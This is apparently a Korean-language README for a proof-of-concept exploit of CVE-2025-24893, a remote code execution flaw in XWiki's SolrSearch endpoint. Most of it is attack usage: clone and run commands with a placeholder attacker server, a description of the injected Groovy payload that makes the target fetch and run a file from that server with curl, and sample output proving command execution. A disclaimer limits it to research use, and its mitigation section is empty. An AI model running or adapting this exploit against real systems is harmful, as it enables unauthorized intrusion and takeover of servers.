
CVE-2025-24893에 대한 PoC
이 저장소는 CVE-2025-24893으로 식별된 XWiki 원격 코드 실행(RCE) 취약점에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 이 취약점은 공격자가 SolrSearch 엔드포인트에 조작된 요청을 보내 대상 XWiki 인스턴스에서 임의의 코드를 실행할 수 있도록 합니다. 이 스크립트는 HTTP 및 HTTPS 대상 모두를 지원합니다.
⚠️ 면책 조항: 이 PoC는 교육 및 연구 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 이 코드를 무단 사용하는 것은 불법이며 비윤리적입니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
이 취약점은 SolrSearch 엔드포인트에서 사용자 입력을 부적절하게 처리하여 조작된 페이로드를 통해 Groovy 코드를 주입할 수 있기 때문에 발생합니다. 이 PoC는 공격자가 이를 악용하여 대상 서버에서 임의의 명령을 실행하는 방법을 보여줍니다.
requests, argparse, urllib.parse, re, htmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
스크립트는 대상 XWiki 인스턴스에 조작된 HTTP/HTTPS 요청을 보내, 공격자가 제어하는 서버에서 파일을 가져와 실행하는 curl 명령을 실행하는 Groovy 페이로드를 주입합니다.
다음 명령으로 스크립트를 실행합니다:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: 대상 XWiki 인스턴스의 기본 URL (예: http://target 또는 https://target).--server: 공격자 서버의 IP 또는 호스트 이름, 필요시 포트 포함 (예: 192.168.1.100:8080). HTTP 및 HTTPS 모두 지원.--file: 실행할 코드가 포함된 공격자 서버의 파일 이름 (예: exploit.sh).--no-verify: HTTPS 대상에 대한 SSL 인증 확인을 비활성화하는 선택적 플래그 (주의해서 사용, 테스트 전용).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
SSL 인증 확인을 우회하려면 (예: 자체 서명 인증서의 경우):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
이렇게 하면:
curl 명령을 실행하는 페이로드를 구성합니다.http(s)://192.168.1.100:8080)에서 지정된 파일(exploit.sh)을 가져옵니다.스크립트는 대상으로부터 응답을 추출하고, HTML 태그(예: <br/>, <del>)를 제거하며, 가독성을 위해 HTML 엔티티를 일반 텍스트로 변환합니다. 정리된 출력이 콘솔에 출력됩니다.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
이 취약점으로부터 보호하려면:
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.